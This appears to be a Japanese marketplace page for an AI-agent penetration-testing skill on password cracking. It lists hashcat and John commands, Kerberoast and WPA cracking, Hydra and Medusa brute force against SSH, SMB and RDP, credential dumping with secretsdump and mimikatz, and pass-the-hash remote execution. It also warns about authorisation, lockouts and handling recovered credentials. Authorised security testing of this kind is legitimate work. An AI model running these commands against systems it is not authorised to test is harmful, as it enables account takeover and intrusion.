mcpField
C
cracking-passwords

cracking-passwords

github.com/trilwuセキュリティ177130 回インストール12 週間前に更新
リポジトリ

cracking-passwords について

認可された範囲でパスワードハッシュや認証情報を評価する、ペネトレーションテスター向けのセキュリティスキルです。ハッシュ識別や解析手順に加え、対象範囲、アカウントロック、復元した認証情報の扱いに関する注意点をまとめています。

主な機能

  1. 01ハッシュの種類と形式の識別
  2. 02hashcat と John the Ripper の利用
  3. 03攻撃モードと性能調整の参照
  4. 04ワードリスト生成とスプレー評価
  5. 05対象範囲と認証情報管理の確認

活用シーン

  1. 01契約範囲内で取得したハッシュの評価
  2. 02既知の形式に適した解析方法の選択
  3. 03認可された認証情報スプレーの計画
  4. 04報告書で復元した認証情報を保護

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/trilwu/secskills --skill cracking-passwords

インストール後、Claude Code で/cracking-passwordsを入力して読み込まれたか確認します。

同梱ファイルreferences/wordlist-generation-and-spraying.md

詳細

パスワード攻撃と認証情報のクラックのスキル

あなたはパスワードクラックと認証情報攻撃のエキスパートです。ユーザーが次の支援を求めた場合に、このスキルを使用します。

  • パスワードハッシュのクラック(hashcat、john)
  • ハッシュの識別と抽出
  • 認証情報のスプレー攻撃とブルートフォース攻撃
  • レインボーテーブル攻撃
  • Pass-the-Hash の手法
  • ワードリストの生成
  • ルールベースの攻撃

使用する場面

ユーザーが次のことを求めた場合に、このスキルを有効にします。

  • パスワードハッシュのクラック
  • 不明なハッシュ種別の特定
  • パスワードスプレー攻撃の実施
  • ワードリストの生成
  • hashcat/john のパフォーマンス最適化
  • 認証情報の抽出とクラック
  • Pass-the-Hash 攻撃の実施
  • 認証情報を利用した攻撃の支援

範囲と承認。 クラックが許可される範囲は、ハッシュの取得が許可されていた範囲に限られます。 対象範囲内のシステムから取得した素材であることを確認し、復元した平文は有効な認証情報として扱ってください。保存時は暗号化し、共有ドキュメントやサードパーティのクラックサービスに貼り付けず、契約上の保持条件に従って契約終了時に破棄してください。

この分野特有の落とし穴が3つあります。

  • スプレー攻撃は、単なるアクセスの問題ではなく、可用性のリスクです。 本番環境の認証に対するオンライン試行は、実際のアカウントをロックアウトさせ、実際の SOC にアラートを発報させる可能性があります。ロックアウトのしきい値と監視時間帯を書面で確認し、試行レートと連絡先担当者を合意しておかなければ、サービス停止や誤検知を引き起こすことになります。
  • デフォルトでは、漏えいデータのコーパスは自由に使えるものではありません。 サードパーティのダンプデータは、あなたのクライアントではない人々のものです。それを使ってワードリストを作成したり、実際のアカウントで認証情報の再利用を検証したりするには、契約上の明示的な対象範囲と、GDPR のような制度における適法な根拠が必要です。
  • Pass-the-Hash は分析ではなく認証です。 ハッシュの再利用は、横展開が明示的に対象範囲に含まれていない限り、不正アクセスにあたります。

弱い認証情報である事実と、そのポリシー上の影響を報告してください。復元した平文を成果物に記載する必要があることは、ほとんどありません。

使用しない場面

  • 稼働中のサービスに対するオンラインブルートフォース攻撃 — これはクラックではなくテストです。testing-web-applications または enumerating-network-services を使用し、ロックアウトに注意してください
  • そもそものハッシュの取得 — 該当する権限昇格または attacking-active-directory のスキルを使用してください
  • アプリケーションでのパスワード保存方法のレビュー — reviewing-cryptography を使用してください

主な手法

1. ハッシュの識別

ハッシュ種別の特定:

# hashid
hashid 'hash_here'
hashid -m 'hash_here'  # Show hashcat mode

# hash-identifier
hash-identifier

# haiti
haiti 'hash_here'

# Manual identification by format
# MD5: 32 hex chars
# SHA1: 40 hex chars
# SHA256: 64 hex chars
# NTLM: 32 hex chars (same as MD5 but context differs)
# bcrypt: $2a$, $2b$, $2y$ prefix

一般的なハッシュ形式:

MD5: 5f4dcc3b5aa765d61d8327deb882cf99
SHA1: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
SHA256: 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
NTLM: 209c6174da490caeb422f3fa5a7ae634
NTLMv2: username::domain:challenge:response:response
bcrypt: $2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
Linux SHA512: $6$rounds=5000$...
2. Hashcat の基本

インストール:

# Kali Linux
apt install hashcat

# Check GPUs
hashcat -I

Hashcat の基本的な使い方:

# Dictionary attack
hashcat -m <hash_type> -a 0 hashes.txt wordlist.txt

# Dictionary + rules
hashcat -m <hash_type> -a 0 hashes.txt wordlist.txt -r rules/best64.rule

# Brute force
hashcat -m <hash_type> -a 3 hashes.txt ?a?a?a?a?a?a?a?a

# Combination attack
hashcat -m <hash_type> -a 1 hashes.txt wordlist1.txt wordlist2.txt

# Show cracked passwords
hashcat -m <hash_type> hashes.txt --show

# Resume session
hashcat -m <hash_type> hashes.txt wordlist.txt --session mysession
hashcat --session mysession --restore

一般的なハッシュ種別(-m フラグ):

0     = MD5
100   = SHA1
1400  = SHA256
1700  = SHA512
1000  = NTLM
5600  = NetNTLMv2
3200  = bcrypt
1800  = sha512crypt (Linux)
7500  = Kerberos 5 etype 23 AS-REQ Pre-Auth  (sniffed pre-auth, not roasting)
13100 = Kerberos 5 etype 23 TGS-REP          (Kerberoasting, krb5tgs)
18200 = Kerberos 5 etype 23 AS-REP           (ASREPRoasting, krb5asrep)
16800 = WPA-PMKID-PBKDF2
22000 = WPA-PBKDF2-PMKID+EAPOL

Hashcat の攻撃モード:

-a 0  # Dictionary attack
-a 1  # Combination attack
-a 3  # Brute-force attack
-a 6  # Hybrid wordlist + mask
-a 7  # Hybrid mask + wordlist

Hashcat のマスク:

?l = lowercase letters (a-z)
?u = uppercase letters (A-Z)
?d = digits (0-9)
?s = special characters
?a = all characters (?l?u?d?s)
?b = binary (0x00 - 0xff)

# Examples
?u?l?l?l?l?d?d  # Password01
?d?d?d?d        # 4-digit PIN
?a?a?a?a?a?a    # 6 characters (any)
3. John the Ripper

John の基本的な使い方:

# Auto-detect and crack
john hashes.txt

# Specify format
john --format=NT hashes.txt
john --format=Raw-SHA256 hashes.txt

# With wordlist
john --wordlist=rockyou.txt hashes.txt

# With rules
john --wordlist=wordlist.txt --rules hashes.txt

# Show cracked passwords
john --show hashes.txt
john --show --format=NT hashes.txt

# List formats
john --list=formats

一般的な John の形式:

Raw-MD5
Raw-SHA1
Raw-SHA256
NT (NTLM)
LM
bcrypt
sha512crypt
krb5asrep
krb5tgs

Unshadow(Linux):

# Combine passwd and shadow files
unshadow passwd shadow > unshadowed.txt
john unshadowed.txt
4. 特定のハッシュ種別に対する攻撃

NTLM ハッシュ:

# Hashcat
hashcat -m 1000 -a 0 ntlm.txt rockyou.txt -r rules/best64.rule

# John
john --format=NT --wordlist=rockyou.txt ntlm.txt

NTLMv2(NetNTLMv2):

# Hashcat
hashcat -m 5600 ntlmv2.txt rockyou.txt

# Captured from Responder
hashcat -m 5600 Responder-Session.txt rockyou.txt

Kerberoast(TGS-REP):

# Hashcat (RC4)
hashcat -m 13100 tgs.txt rockyou.txt --force

# John
john --format=krb5tgs --wordlist=rockyou.txt tgs.txt

ASREPRoast:

# Hashcat
hashcat -m 18200 asrep.txt rockyou.txt

# John
john --format=krb5asrep asrep.txt

bcrypt:

# Hashcat (slow!)
hashcat -m 3200 bcrypt.txt wordlist.txt

# John
john --format=bcrypt bcrypt.txt

Linux SHA512($6$):

# Hashcat
hashcat -m 1800 shadow.txt rockyou.txt

# John
john --format=sha512crypt shadow.txt

WPA/WPA2:

# Convert pcap to hashcat format
hcxpcapngtool -o hash.hc22000 capture.pcap

# Crack PMKID
hashcat -m 22000 hash.hc22000 wordlist.txt

# Or convert with aircrack tools
aircrack-ng -J output capture.cap
hccap2john output.hccap > hash.john
john hash.john
5. ワードリストの生成と認証情報のスプレー攻撃

ワードリストの生成(CeWL、crunch、John ルール、maskprocessor、CUPP)と認証情報のスプレー攻撃(SMB、Kerberos、RDP)のコマンドリファレンスは、 references/wordlist-generation-and-spraying.md にあります。

6. オンラインブルートフォース攻撃

Hydra:

# HTTP POST login
hydra -L users.txt -P passwords.txt 10.10.10.10 http-post-form "/login:username=^USER^&password=^PASS^:Invalid"

# SSH
hydra -l root -P passwords.txt ssh://10.10.10.10

# FTP
hydra -l admin -P passwords.txt ftp://10.10.10.10

# SMB
hydra -L users.txt -P passwords.txt smb://10.10.10.10

# RDP
hydra -L users.txt -P passwords.txt rdp://10.10.10.10

Medusa:

# SSH
medusa -h 10.10.10.10 -u admin -P passwords.txt -M ssh

# SMB
medusa -h 10.10.10.10 -U users.txt -P passwords.txt -M smbnt
8. Pass-the-Hash

NTLM ハッシュの抽出:

# secretsdump (from SAM)
secretsdump.py -sam sam.hive -system system.hive LOCAL

# secretsdump (from DC)
secretsdump.py domain/user:[email protected]

# mimikatz
sekurlsa::logonpasswords
lsadump::sam

NTLM ハッシュの使用:

# pth-winexe
pth-winexe -U domain/user%hash //10.10.10.10 cmd

# NetExec (nxc, formerly CrackMapExec)
nxc smb 10.10.10.10 -u administrator -H 'hash' -x whoami

# psexec.py
psexec.py -hashes :hash [email protected]

# wmiexec.py
wmiexec.py -hashes :hash [email protected]

便利なワードリスト

一般的な場所:

# Kali Linux
/usr/share/wordlists/rockyou.txt
/usr/share/seclists/Passwords/

# Download rockyou
gunzip /usr/share/wordlists/rockyou.txt.gz

SecLists:

# Download
git clone https://github.com/danielmiessler/SecLists.git

# Common passwords
SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt
SecLists/Passwords/Common-Credentials/10k-most-common.txt

カスタムワードリスト:

# Generate targeted wordlist
# Combine company name, years, common patterns
# Example: CompanyName2024!, CompanyName@2024, etc.

パフォーマンスの最適化

Hashcat の最適化:

# Use GPU
hashcat -m 1000 hashes.txt wordlist.txt -d 1

# Increase workload
hashcat -m 1000 hashes.txt wordlist.txt -w 3  # 1-4, higher = faster

# Show status
hashcat -m 1000 hashes.txt wordlist.txt --status --status-timer=10

# Benchmark
hashcat -b

# Use rules efficiently
hashcat -m 1000 hashes.txt wordlist.txt -r rules/best64.rule --loopback

トラブルシューティング

Hashcat が GPU を使用しない場合:

# Check GPU drivers
nvidia-smi  # NVIDIA
rocm-smi    # AMD

# Force specific device
hashcat -d 1 ...

ハッシュ形式の問題:

# Remove username prefix
cut -d: -f2 hashes.txt > clean_hashes.txt

# Ensure proper format (user:hash)
cat hashes.txt | awk -F: '{print $1":"$4}'

クラックが遅い場合:

# Try smaller wordlist first
# Use targeted rules
# Consider cloud GPU instances
# Use mask attack for known patterns

参考資料

ATT&CK の対象範囲

secskills-core/ttp-index.json から生成されています。このファイルを編集してから、 python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、 ID を現在の ATT&CK リリースと照合して再確認してください。

初期アクセス(TA0001)

  • T1078 有効なアカウント (永続化、権限昇格、防御回避にも該当) — attacking-active-directory、exploiting-cloud-platforms も参照

認証情報へのアクセス(TA0006)

  • T1003 OS 認証情報のダンプ — attacking-active-directory も参照
  • T1003.002 Security Account Manager — escalating-windows-privileges も参照
  • T1003.008 /etc/passwd と /etc/shadow — escalating-linux-privileges も参照
  • T1110 総当たり攻撃
  • T1110.002 パスワードクラッキング
  • T1110.003 パスワードスプレー — attacking-active-directory も参照
  • T1558.003 Kerberoasting — attacking-active-directory も参照

ラテラルムーブメント(TA0008)

  • T1550.002 Pass the Hash — attacking-active-directory も参照

これらに関する検出コンテンツ:engineering-detections。プロアクティブな検索:hunting-threats。侵害後の対応:responding-to-incidents。

コメント